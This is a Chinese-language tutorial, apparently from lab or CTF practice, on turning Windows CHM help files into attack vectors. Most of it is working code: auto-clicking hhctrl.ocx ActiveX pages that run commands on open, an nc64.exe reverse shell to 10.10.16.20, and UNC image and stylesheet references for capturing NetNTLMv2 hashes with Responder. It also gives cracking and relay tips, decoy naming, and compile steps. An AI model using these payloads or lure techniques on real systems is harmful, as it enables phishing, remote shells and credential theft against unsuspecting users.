0x01 常见利用方式
1.1 三条常见利用路径
1.1.1 ActiveX ShortCut 命令执行
CHM 的 HTML 内容中实例化 hhctrl.ocx:
CLSID: adb880a6-d8ff-11cf-9377-00aa003b7a11
Command: ShortCut
Item1: ,<可执行文件>,<参数> (以逗号开头的三段式:空 / 程序 / 参数)
Item2: 273,1,1
Item1 的解析逻辑是”第一个逗号前为空、之后按逗号切分”,所以填成,c:\programdata\nc64.exe,-e cmd 10.10.16.20 80 时会被展开成:
- 程序 =
c:\programdata\nc64.exe - 参数 =
-e cmd 10.10.16.20 80
通过脚本在页面加载时自动调用 .Click() 即可无需点击触发。
1.1.2 文件释放(Dropper)
把 payload(exe/dll/lnk/脚本)写进 [FILES] 节,CHM 打开时会全部解压到%TEMP%\<8位十六进制>\。注意该目录名每次打开都随机,所以:
- 不能写死绝对路径;
- 需要配合相对路径引用、或由页面脚本先枚举自身运行目录再落地到固定位置。
1.1.3 外部资源引用 / UNC 路径(信息泄露 / 读取凭证)
CHM 内 HTML 引用 \\attacker\share\x.png、file://、远程 http:// 资源时,
会由 hh.exe 发起网络请求;指向 UNC 路径时可触发 NTLM 认证 → 可捕获 NetNTLM 哈希(配合 Responder)。
这是”不落地、纯读取”的低风险验证方式,常用于先证明触发可行。
0x02 工程结构与文件格式/文件制作
一个 CHM 工程由 4 类文件组成:
123/
├── 1.hhp ← 项目文件(编译入口,INI 风格)
├── poc.html ← 内容页面(默认主题 / default topic)
├── Table of Contents.hhc ← 左侧目录树(sitemap 结构)
├── Index.hhk ← 索引页签
└── (GoogleUpdate.exe …) ← 需要打包进 CHM 的二进制(可选)
2.1 .hhp 项目文件
[OPTIONS]
Compatibility=1.1 or later
Compiled file=PocCalc.chm ; 输出文件名(必须存在父目录可写)
Contents file=Table of Contents.hhc ; 目录文件,文件名带空格没问题
Index file=Index.hhk ; 索引文件
Default topic=poc.html ; 打开 CHM 时首先显示的页面
Title=PocCalc ; 窗口标题(伪装时可改成"使用说明"之类)
Display compile progress=No
Language=0x410 Italian (Italy) ; 语言码页
Full-text search=Yes
[FILES]
poc.html ; 逐行列出要打包的文件,全部必须真实存在
[INFOTYPES]
关键节说明:
[OPTIONS]— 编译参数,Default topic决定打开即加载哪个页面(自动触发就靠它)[FILES]— 要打包进 CHM 的所有文件清单,缺一个就编译失败[INFOTYPES]— 信息类型定义,一般留空[ALIAS]/[MAP]— 上下文敏感帮助用,武器化场景基本不用
2.2 .hhc / .hhk
都是 HTML 页面,用 <OBJECT type="text/sitemap"> 描述树节点。完整写法:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<!-- Sitemap 1.0 -->
</HEAD>
<BODY>
<UL>
<LI><OBJECT type="text/sitemap">
<param name="Name" value="显示给用户的名称">
<param name="Local" value="poc.html">
</OBJECT>
</UL>
</BODY>
</HTML>
Name 是显示文本(诱饵的关键),Local 是实际指向的页面。诱饵做得像不像,差距就在 Name 上。
2.3 触发页面(指向 hhctrl 的那一页)
完整 HTML 文档(控件和脚本都要放在 <body> 里):
<!DOCTYPE html>
<html>
<head>
<title>calc poc</title>
</head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",cmd.exe,/c calc.exe">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>x.Click();</SCRIPT>
</body>
</html>
结构要点:
Item1中的可执行文件路径要在目标机上真实存在,否则静默失败(没有任何提示)
2.4 外部资源引用利用
在 poc.html 中引用远程 / UNC 资源,加载时即向攻击机发起请求,配合 responder 即可捕获 NetNTLMv2 哈希:
<!DOCTYPE html>
<html>
<head>
<title>calc poc</title>
</head>
<body>
<!-- ② 推荐:body 最前面,而且在 SCRIPT 之前 -->
<img src="\\10.10.16.20\share\x.png" width="1" height="1">
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",cmd.exe,/c calc.exe">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>x.Click();</SCRIPT>
</body>
</html>
- Responder 对任意共享名都应答,所以
share目录和x.png不需要真实存在 - 抓到的是
NetNTLMv2:用户哈希可爆(hashcat -m 5600),机器账户哈希基本爆不出来 → 那种情况改走ntlmrelayx.py中继
2.5 直接反弹shell
把 2.3 的 Item1 换成真实 payload 即可(前提:nc64.exe 已在目标机 c:\programdata\ 下):
<!DOCTYPE html>
<html>
<head>
<title>calc poc</title>
<link rel="stylesheet" href="\\10.10.16.20\share\x.css">
</head>
<body>
<img src="\\10.10.16.20\share\x.png" width="1" height="1">
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",c:\programdata\nc64.exe,-e cmd 10.10.16.20 80">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>x.Click();</SCRIPT>
</body>
</html>
要点:
Item1里直接写nc64.exe本体、不要再套一层cmd.exe /c,参数更干净
0x03. 构建流程
直接在 everything 中搜索 hhc.exe 就有
构建前确认删掉所有注释
# 1. 准备目录与四个工程文件
# 2. 编译(hhc.exe 来自 HTML Help Workshop 4.74)
cd /d C:\Users\Administrator\Desktop\sniper\123
"C:\Program Files (x86)\HTML Help Workshop\hhc.exe" 1.hhp
# 3. 成功标志
# Created ...\PocCalc.chm, 11181 bytes ← 出现这行才算成功
# Compilation stopped ← 出现这行就是失败